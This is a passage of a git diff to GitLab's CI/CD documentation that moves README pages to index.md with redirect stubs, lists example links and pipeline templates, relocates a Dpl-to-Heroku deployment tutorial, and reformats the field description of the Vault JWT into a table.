-- [Grails (`Grails.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Grails.gitlab-ci.yml)
-- [iOS with fastlane (`iOS-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml)
-- [Julia (`Julia.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Julia.gitlab-ci.yml)
-- [Laravel (`Laravel.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml)
-- [LaTeX (`LaTeX.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml)
-- [Maven (`Maven.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml)
-- [Mono (`Mono.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Mono.gitlab-ci.yml)
-- [npm (`npm.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml)
-- [Node.js (`Nodejs.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml)
-- [OpenShift (`OpenShift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml)
-- [Packer (`Packer.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Packer.gitlab-ci.yml)
-- [PHP (`PHP.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml)
-- [Python (`Python.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml)
-- [Ruby (`Ruby.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml)
-- [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml)
-- [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml)
-- [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml)
-- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml)
-
-If a programming language or framework template is not in this list, you can contribute
-one. To create a template, submit a merge request
-to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
-
-### Adding templates to your GitLab installation **(PREMIUM SELF)**
-
-You can add custom examples and templates to your self-managed GitLab instance.
-Your GitLab administrator can [designate an instance template repository](../../user/admin_area/settings/instance_template_repository.md)
-that contains examples and templates specific to your organization.
-
-## Other resources
-
-This section provides further resources to help you get familiar with various uses of GitLab CI/CD.
-Note that older articles and videos may not reflect the state of the latest GitLab release.
-
-### CI/CD in the cloud
-
-For examples of setting up GitLab CI/CD for cloud-based environments, see:
-
-- [How to set up multi-account AWS SAM deployments with GitLab CI](https://about.gitlab.com/blog/2019/02/04/multi-account-aws-sam-deployments-with-gitlab-ci/)
-- [Automating Kubernetes Deployments with GitLab CI/CD](https://www.youtube.com/watch?v=wEDRfAz6_Uw)
-- [How to autoscale continuous deployment with GitLab Runner on DigitalOcean](https://about.gitlab.com/blog/2018/06/19/autoscale-continuous-deployment-gitlab-runner-digital-ocean/)
-- [How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm](https://about.gitlab.com/blog/2017/09/21/how-to-create-ci-cd-pipeline-with-autodeploy-to-kubernetes-using-gitlab-and-helm/)
-- [Demo - Deploying from GitLab to OpenShift Container Cluster](https://youtu.be/EwbhA53Jpp4)
-
-See also the following video overviews:
-
-- [Kubernetes, GitLab, and Cloud Native](https://www.youtube.com/watch?v=d-9awBxEbvQ).
-- [Deploying to IBM Cloud with GitLab CI/CD](https://www.youtube.com/watch?v=6ZF4vgKMd-g).
-
-### Customer stories
-
-For some customer experiences with GitLab CI/CD, see:
-
-- [How Verizon Connect reduced data center deploys from 30 days to under 8 hours with GitLab](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/)
-- [How Wag! cut their release process from 40 minutes to just 6](https://about.gitlab.com/blog/2019/01/16/wag-labs-blog-post/)
-- [How Jaguar Land Rover embraced CI to speed up their software lifecycle](https://about.gitlab.com/blog/2018/07/23/chris-hill-devops-enterprise-summit-talk/)
-
-### Getting started
-
-For some examples to help get you started, see:
-
-- [GitLab CI/CD's 2018 highlights](https://about.gitlab.com/blog/2019/01/21/gitlab-ci-cd-features-improvements/)
-- [A beginner's guide to continuous integration](https://about.gitlab.com/blog/2018/01/22/a-beginners-guide-to-continuous-integration/)
-
-### Implementing GitLab CI/CD
-
-For examples of others who have implemented GitLab CI/CD, see:
-
-- [How to streamline interactions between multiple repositories with multi-project pipelines](https://about.gitlab.com/blog/2018/10/31/use-multiproject-pipelines-with-gitlab-cicd/)
-- [How we used GitLab CI to build GitLab faster](https://about.gitlab.com/blog/2018/05/02/using-gitlab-ci-to-build-gitlab-faster/)
-- [Test all the things in GitLab CI with Docker by example](https://about.gitlab.com/blog/2018/02/05/test-all-the-things-gitlab-ci-docker-examples/)
-- [A Craftsman looks at continuous integration](https://about.gitlab.com/blog/2018/01/17/craftsman-looks-at-continuous-integration/)
-- [Go tools and GitLab: How to do continuous integration like a boss](https://about.gitlab.com/blog/2017/11/27/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss/)
-- [GitBot – automating boring Git operations with CI](https://about.gitlab.com/blog/2017/11/02/automating-boring-git-operations-gitlab-ci/)
-- [How to use GitLab CI for Vue.js](https://about.gitlab.com/blog/2017/09/12/vuejs-app-gitlab/)
-- Video: [GitLab CI/CD Deep Dive](https://youtu.be/pBe4t1CD8Fc?t=195)
-- [Dockerizing GitLab Review Apps](https://about.gitlab.com/blog/2017/07/11/dockerizing-review-apps/)
-- [Fast and natural continuous integration with GitLab CI](https://about.gitlab.com/blog/2017/05/22/fast-and-natural-continuous-integration-with-gitlab-ci/)
-- [Demo: CI/CD with GitLab in action](https://about.gitlab.com/blog/2017/03/13/ci-cd-demo/)
-
-### Migrating to GitLab from third-party CI tools
-
-- [Migrating from Jenkins to GitLab](https://youtu.be/RlEVGOpYF5Y)
-
-### Integrating GitLab CI/CD with other systems
-
-To see how you can integrate GitLab CI/CD with third-party systems, see:
-
-- [Streamline and shorten error remediation with Sentry's new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/)
-- [How to simplify your smart home configuration with GitLab CI/CD](https://about.gitlab.com/blog/2018/08/02/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management/)
-- [Demo: GitLab + Jira + Jenkins](https://about.gitlab.com/blog/2018/07/30/gitlab-workflow-with-jira-jenkins/)
-- [Introducing Auto Breakfast from GitLab (sort of)](https://about.gitlab.com/blog/2018/06/29/introducing-auto-breakfast-from-gitlab/)
-
-### Mobile development
-
-For help with using GitLab CI/CD for mobile application development, see:
-
-- [How to publish Android apps to the Google Play Store with GitLab and fastlane](https://about.gitlab.com/blog/2019/01/28/android-publishing-with-gitlab-and-fastlane/)
-- [Setting up GitLab CI for Android projects](https://about.gitlab.com/blog/2018/10/24/setting-up-gitlab-ci-for-android-projects/)
-- [Working with YAML in GitLab CI from the Android perspective](https://about.gitlab.com/blog/2017/11/20/working-with-yaml-gitlab-ci-android/)
-- [How to use GitLab CI and MacStadium to build your macOS or iOS projects](https://about.gitlab.com/blog/2017/05/15/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects/)
-- [Setting up GitLab CI for iOS projects](https://about.gitlab.com/blog/2016/03/10/setting-up-gitlab-ci-for-ios-projects/)
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
index fc1e06e91c6..65fe9fb44d4 100644
--- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
+++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
@@ -32,31 +32,57 @@ You must replace the `vault.example.com` URL below with the URL of your Vault se
Each job has JSON Web Token (JWT) provided as CI/CD variable named `CI_JOB_JWT`. This JWT can be used to authenticate with Vault using the [JWT Auth](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication) method.
-The JWT's payload looks like this:
+The following fields are included in the JWT:
+
+| Field | When | Description |
+| ----------------------- | ------ | ----------- |
+| `jti` | Always | Unique identifier for this token |
+| `iss` | Always | Issuer, the domain of your GitLab instance |
+| `iat` | Always | Issued at |
+| `nbf` | Always | Not valid before |
+| `exp` | Always | Expires at |
+| `sub` | Always | Subject (job ID) |
+| `namespace_id` | Always | Use this to scope to group or user level namespace by ID |
+| `namespace_path` | Always | Use this to scope to group or user level namespace by path |
+| `project_id` | Always | Use this to scope to project by ID |
+| `project_path` | Always | Use this to scope to project by path |
+| `user_id` | Always | ID of the user executing the job |
+| `user_login` | Always | Username of the user executing the job |
+| `user_email` | Always | Email of the user executing the job |
+| `pipeline_id` | Always | ID of this pipeline |
+| `pipeline_source` | Always | [Pipeline source](../../jobs/job_control.md#common-if-clauses-for-rules) |
+| `job_id` | Always | ID of this job |
+| `ref` | Always | Git ref for this job |
+| `ref_type` | Always | Git ref type, either `branch` or `tag` |
+| `ref_protected` | Always | `true` if this Git ref is protected, `false` otherwise |
+| `environment` | Job is creating a deployment | Environment this job deploys to ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9) |
+| `environment_protected` | Job is creating a deployment |`true` if deployed environment is protected, `false` otherwise ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9) |
+
+Example JWT payload:
```json
{
- "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", # Unique identifier for this token
- "iss": "gitlab.example.com", # Issuer, the domain of your GitLab instance
- "iat": 1585710286, # Issued at
- "nbf": 1585798372, # Not valid before
- "exp": 1585713886, # Expire at
- "sub": "job_1212", # Subject (job id)
- "namespace_id": "1", # Use this to scope to group or user level namespace by id
- "namespace_path": "mygroup", # Use this to scope to group or user level namespace by path
- "project_id": "22", #
- "project_path": "mygroup/myproject", #
- "user_id": "42", # Id of the user executing the job
- "user_login": "myuser" # GitLab @username
- "user_email": "myuser@example.com", # Email of the user executing the job
- "pipeline_id": "1212", #
- "pipeline_source": "web", # Pipeline source, see: https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules
- "job_id": "1212", #
- "ref": "auto-deploy-2020-04-01", # Git ref for this job
- "ref_type": "branch", # Git ref type, branch or tag
- "ref_protected": "true", # true if this git ref is protected, false otherwise
- "environment": "production", # Environment this job deploys to, if present (GitLab 13.9 and later)
- "environment_protected": "true" # true if deployed environment is protected, false otherwise (GitLab 13.9 and later)
+ "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558",
+ "iss": "gitlab.example.com",
+ "iat": 1585710286,
+ "nbf": 1585798372,
+ "exp": 1585713886,
+ "sub": "job_1212",
+ "namespace_id": "1",
+ "namespace_path": "mygroup",
+ "project_id": "22",
+ "project_path": "mygroup/myproject",
+ "user_id": "42",
+ "user_login": "myuser",
+ "user_email": "myuser@example.com",
+ "pipeline_id": "1212",
+ "pipeline_source": "web",
+ "job_id": "1212",
+ "ref": "auto-deploy-2020-04-01",
+ "ref_type": "branch",
+ "ref_protected": "true",
+ "environment": "production",
+ "environment_protected": "true"
}
```
@@ -204,7 +230,7 @@ read_secrets:
```
NOTE:
-If you're using a Vault instance provided by HashiCorp Cloud Platform,
+If you're using a Vault instance provided by HashiCorp Cloud Platform,
you need to export the `VAULT_NAMESPACE` variable. Its default value is `admin`.
![read_secrets staging](img/vault-read-secrets-staging.png)
diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md
index 4d2c22a17f0..5ab8653dc35 100644
--- a/doc/ci/examples/deployment/README.md
+++ b/doc/ci/examples/deployment/README.md
@@ -1,131 +1,8 @@
---
-stage: Release
-group: Release
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: tutorial
+redirect_to: 'index.md'
---
-# Using Dpl as deployment tool
+This document was moved to [another location](index.md).
-[Dpl](https://github.com/travis-ci/dpl) (pronounced like the letters D-P-L) is a deploy tool made for
-continuous deployment that's developed and used by Travis CI, but can also be
-used with GitLab CI/CD.
-
-Dpl can be used to deploy to any of the [supported providers](https://github.com/travis-ci/dpl#supported-providers).
-
-## Requirements
-
-To use Dpl you need at least Ruby 1.9.3 with ability to install gems.
-
-## Basic usage
-
-Dpl can be installed on any machine with:
-
-```shell
-gem install dpl
-```
-
-This allows you to test all commands from your local terminal, rather than
-having to test it on a CI server.
-
-If you don't have Ruby installed you can do it on Debian-compatible Linux with:
-
-```shell
-apt-get update
-apt-get install ruby-dev
-```
-
-The Dpl provides support for vast number of services, including: Heroku, Cloud Foundry, AWS/S3, and more.
-To use it simply define provider and any additional parameters required by the provider.
-
-For example if you want to use it to deploy your application to Heroku, you need to specify `heroku` as provider, specify `api_key` and `app`.
-All possible parameters can be found in the [Heroku API section](https://github.com/travis-ci/dpl#heroku-api).
-
-```yaml
-staging:
- stage: deploy
- script:
- - gem install dpl
- - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY
-```
-
-In the above example we use Dpl to deploy `my-app-staging` to Heroku server with API key stored in `HEROKU_STAGING_API_KEY` secure variable.
-
-To use different provider take a look at long list of [Supported Providers](https://github.com/travis-ci/dpl#supported-providers).
-
-## Using Dpl with Docker
-
-In most cases, you configured [GitLab Runner](https://docs.gitlab.com/runner/) to use your server's shell commands.
-This means that all commands are run in the context of local user (e.g. `gitlab_runner` or `gitlab_ci_multi_runner`).
-It also means that most probably in your Docker container you don't have the Ruby runtime installed.
-You must install it:
-
-```yaml
-staging:
- stage: deploy
- script:
- - apt-get update -yq
- - apt-get install -y ruby-dev
- - gem install dpl
- - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY
- only:
- - master
-```
-
-The first line `apt-get update -yq` updates the list of available packages,
-where second `apt-get install -y ruby-dev` installs the Ruby runtime on system.
-The above example is valid for all Debian-compatible systems.
-
-## Usage in staging and production
-
-It's pretty common in the development workflow to have staging (development) and
-production environments
-
-Let's consider the following example: we would like to deploy the `master`
-branch to `staging` and all tags to the `production` environment.
-The final `.gitlab-ci.yml` for that setup would look like this:
-
-```yaml
-staging:
- stage: deploy
- script:
- - gem install dpl
- - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY
- only:
- - master
-
-production:
- stage: deploy
- script:
- - gem install dpl
- - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY
- only:
- - tags
-```
-
-We created two deploy jobs that are executed on different events:
-
-1. `staging` is executed for all commits that were pushed to `master` branch,
-1. `production` is executed for all pushed tags.
-
-We also use two secure variables:
-
-1. `HEROKU_STAGING_API_KEY` - Heroku API key used to deploy staging app,
-1. `HEROKU_PRODUCTION_API_KEY` - Heroku API key used to deploy production app.
-
-## Storing API keys
-
-To add secure variables, navigate to your project's
-**Settings > CI/CD > Variables**. The variables that are defined
-in the project settings are sent along with the build script to the runner.
-The secure variables are stored out of the repository. Never store secrets in
-your project's `.gitlab-ci.yml`. It is also important that the secret's value
-is hidden in the job log.
-
-You access added variable by prefixing it's name with `$` (on non-Windows runners)
-or `%` (for Windows Batch runners):
-
-1. `$VARIABLE` - use it for non-Windows runners
-1. `%VARIABLE%` - use it for Windows Batch runners
-
-Read more about the [CI/CD variables](../../variables/README.md).
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/deployment/index.md b/doc/ci/examples/deployment/index.md
new file mode 100644
index 00000000000..00c613865a3
--- /dev/null
+++ b/doc/ci/examples/deployment/index.md
@@ -0,0 +1,131 @@
+---
+stage: Release
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: tutorial
+---
+
+# Using Dpl as deployment tool
+
+[Dpl](https://github.com/travis-ci/dpl) (pronounced like the letters D-P-L) is a deploy tool made for
+continuous deployment that's developed and used by Travis CI, but can also be
+used with GitLab CI/CD.
+
+Dpl can be used to deploy to any of the [supported providers](https://github.com/travis-ci/dpl#supported-providers).
+
+## Requirements
+
+To use Dpl you need at least Ruby 1.9.3 with ability to install gems.
+
+## Basic usage
+
+Dpl can be installed on any machine with:
+
+```shell
+gem install dpl
+```
+
+This allows you to test all commands from your local terminal, rather than
+having to test it on a CI server.
+
+If you don't have Ruby installed you can do it on Debian-compatible Linux with:
+
+```shell
+apt-get update
+apt-get install ruby-dev
+```
+
+The Dpl provides support for vast number of services, including: Heroku, Cloud Foundry, AWS/S3, and more.
+To use it simply define provider and any additional parameters required by the provider.
+
+For example if you want to use it to deploy your application to Heroku, you need to specify `heroku` as provider, specify `api_key` and `app`.
+All possible parameters can be found in the [Heroku API section](https://github.com/travis-ci/dpl#heroku-api).
+
+```yaml
+staging:
+ stage: deploy
+ script:
+ - gem install dpl
+ - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY
+```
+
+In the above example we use Dpl to deploy `my-app-staging` to Heroku server with API key stored in `HEROKU_STAGING_API_KEY` secure variable.
+
+To use different provider take a look at long list of [Supported Providers](https://github.com/travis-ci/dpl#supported-providers).
+
+## Using Dpl with Docker
+
+In most cases, you configured [GitLab Runner](https://docs.gitlab.com/runner/) to use your server's shell commands.
+This means that all commands are run in the context of local user (e.g. `gitlab_runner` or `gitlab_ci_multi_runner`).
+It also means that most probably in your Docker container you don't have the Ruby runtime installed.
+You must install it:
+
+```yaml
+staging:
+ stage: deploy
+ script:
+ - apt-get update -yq
+ - apt-get install -y ruby-dev
+ - gem install dpl
+ - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY
+ only:
+ - master
+```
+
+The first line `apt-get update -yq` updates the list of available packages,
+where second `apt-get install -y ruby-dev` installs the Ruby runtime on system.
+The above example is valid for all Debian-compatible systems.
+
+## Usage in staging and production
+
+It's pretty common in the development workflow to have staging (development) and
+production environments
+
+Let's consider the following example: we would like to deploy the `master`
+branch to `staging` and all tags to the `production` environment.
+The final `.gitlab-ci.yml` for that setup would look like this:
+
+```yaml
+staging:
+ stage: deploy
+ script:
+ - gem install dpl
+ - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY
+ only:
+ - master
+
+production:
+ stage: deploy
+ script:
+ - gem install dpl
+ - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY
+ only:
+ - tags
+```
+
+We created two deploy jobs that are executed on different events:
+
+1. `staging` is executed for all commits that were pushed to `master` branch,
+1. `production` is executed for all pushed tags.
+
+We also use two secure variables:
+
+1. `HEROKU_STAGING_API_KEY` - Heroku API key used to deploy staging app,
+1. `HEROKU_PRODUCTION_API_KEY` - Heroku API key used to deploy production app.
+
+## Storing API keys
+
+To add secure variables, navigate to your project's
+**Settings > CI/CD > Variables**. The variables that are defined
+in the project settings are sent along with the build script to the runner.
+The secure variables are stored out of the repository. Never store secrets in
+your project's `.gitlab-ci.yml`. It is also important that the secret's value
+is hidden in the job log.
+
+You access added variable by prefixing it's name with `$` (on non-Windows runners)
+or `%` (for Windows Batch runners):
+
+1. `$VARIABLE` - use it for non-Windows runners
+1. `%VARIABLE%` - use it for Windows Batch runners
+
+Read more about the [CI/CD variables](../../variables/index.md).
diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
index 54e12cafa55..7a6d692cd43 100644
--- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md
+++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
@@ -146,10 +146,10 @@ new browser window interacting with your app as you specified.
Which brings us to the exciting part: how do we run this in GitLab CI/CD? There are two things we
need to do for this:
-1. Set up [CI/CD jobs](../../yaml/README.md) that actually have a browser available.
+1. Set up [CI/CD jobs](../../yaml/index.md) that actually have a browser available.
1. Update our WebdriverIO configuration to use those browsers to visit the review apps.
-For the scope of this article, we've defined an additional [CI/CD stage](../../yaml/README.md#stages)
+For the scope of this article, we've defined an additional [CI/CD stage](../../yaml/index.md#stages)
`confidence-check` that is executed _after_ the stage that deploys the review app. It uses the `node:latest` [Docker
image](../../docker/using_docker_images.md). However, WebdriverIO fires up actual browsers
to interact with your application, so we need to install and run them.
@@ -191,7 +191,7 @@ option as an argument to `npm run confidence-check` on the command line.
However, we still need to tell WebdriverIO which browser is available for it to use.
[GitLab CI/CD makes
-a number of variables available](../../variables/README.md#predefined-cicd-variables)
+a number of variables available](../../variables/index.md#predefined-cicd-variables)
with information about the current CI job. We can use this information to dynamically set
up our WebdriverIO configuration according to the job that is running. More specifically, we can
tell WebdriverIO what browser to execute the test on depending on the name of the currently running
@@ -255,5 +255,5 @@ production project, see:
There's plenty more that WebdriverIO can do. For example, you can configure a [`screenshotPath`](http://v4.webdriver.io/guide/getstarted/configuration.html#screenshotPath) to tell WebdriverIO to take
a screenshot when tests are failing. Then tell GitLab CI/CD to store those
-[artifacts](../../yaml/README.md#artifacts), and you'll be able to see what went
+[artifacts](../../yaml/index.md#artifacts), and you'll be able to see what went
wrong within GitLab.
diff --git a/doc/ci/examples/index.md b/doc/ci/examples/index.md
new file mode 100644
index 00000000000..9d6a4f53123
--- /dev/null
+++ b/doc/ci/examples/index.md
@@ -0,0 +1,182 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+comments: false
+type: index
+---
+
+# GitLab CI/CD Examples
+
+This page contains links to a variety of examples that can help you understand how to
+implement [GitLab CI/CD](../README.md) for your specific use case.
+
+Examples are available in several forms. As a collection of:
+
+- `.gitlab-ci.yml` [template files](#cicd-templates) maintained in GitLab, for many
+ common frameworks and programming languages.
+- Repositories with [example projects](https://gitlab.com/gitlab-examples) for various languages. You can fork and adjust them to your own needs. Projects include an example of using [Review Apps with a static site served by NGINX](https://gitlab.com/gitlab-examples/review-apps-nginx/).
+- Examples and [other resources](#other-resources) listed below.
+
+## CI/CD examples
+
+The following table lists examples with step-by-step tutorials that are contained in this section:
+
+| Use case | Resource |
+|-------------------------------|----------|
+| Browser performance testing | [Browser Performance Testing with the Sitespeed.io container](../../user/project/merge_requests/browser_performance_testing.md). |
+| Deployment with Dpl | [Using `dpl` as deployment tool](deployment/index.md). |
+| GitLab Pages | See the [GitLab Pages](../../user/project/pages/index.md) documentation for a complete example of deploying a static site. |
+| End-to-end testing | [End-to-end testing with GitLab CI/CD and WebdriverIO](end_to_end_testing_webdriverio/index.md). |
+| Load performance testing | [Load Performance Testing with the k6 container](../../user/project/merge_requests/load_performance_testing.md). |
+| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). |
+| npm with semantic-release | [Publish npm packages to the GitLab Package Registry using semantic-release](semantic-release.md). |
+| PHP with Laravel, Envoy | [Test and deploy Laravel applications with GitLab CI/CD and Envoy](laravel_with_gitlab_and_envoy/index.md). |
+| PHP with npm, SCP | [Running Composer and npm scripts with deployment via SCP in GitLab CI/CD](deployment/composer-npm-deploy.md). |
+| PHP with PHPunit, `atoum` | [Testing PHP projects](php.md). |
+| Secrets management with Vault | [Authenticating and Reading Secrets With HashiCorp Vault](authenticating-with-hashicorp-vault/index.md). |
+
+### Contributed examples
+
+You can help people that use your favorite programming language by submitting a link
+to a guide for that language. These contributed guides are hosted externally or in
+separate example projects:
+
+| Use case | Resource |
+|-------------------------------|----------|
+| Clojure | [Test a Clojure application with GitLab CI/CD](https://gitlab.com/gitlab-examples/clojure-web-application). |
+| Game development | [DevOps and Game Development with GitLab CI/CD](https://gitlab.com/gitlab-examples/gitlab-game-demo/). |
+| Java with Maven | [How to deploy Maven projects to Artifactory with GitLab CI/CD](https://gitlab.com/gitlab-examples/maven/simple-maven-example). |
+| Java with Spring Boot | [Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). |
+| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). |
+| Python on Heroku | [Test and deploy a Python application with GitLab CI/CD](https://gitlab.com/gitlab-examples/python-getting-started). |
+| Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](https://gitlab.com/gitlab-examples/ruby-getting-started). |
+| Scala on Heroku | [Test and deploy a Scala application to Heroku](https://gitlab.com/gitlab-examples/scala-sbt). |
+
+## CI/CD templates
+
+Get started with GitLab CI/CD and your favorite programming language or framework by using a
+`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+
+When you create a `gitlab-ci.yml` file in the UI, you can
+choose one of these templates:
+
+- [Android (`Android.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android.gitlab-ci.yml)
+- [Android with fastlane (`Android-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml)
+- [Bash (`Bash.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml)
+- [C++ (`C++.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/C++.gitlab-ci.yml)
+- [Chef (`Chef.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Chef.gitlab-ci.yml)
+- [Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml)
+- [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml)
+- [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml)
+- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml)
+- [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml)
+- [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml)
+- [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml)
+- [dotNET Core (`dotNET-Core.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET-Core.yml)
+- [Elixir (`Elixir.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml)
+- [Flutter (`Flutter.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml)
+- [goLang (`Go.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Go.gitlab-ci.yml)
+- [Gradle (`Gradle.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml)
+- [Grails (`Grails.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Grails.gitlab-ci.yml)
+- [iOS with fastlane (`iOS-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml)
+- [Julia (`Julia.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Julia.gitlab-ci.yml)
+- [Laravel (`Laravel.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml)
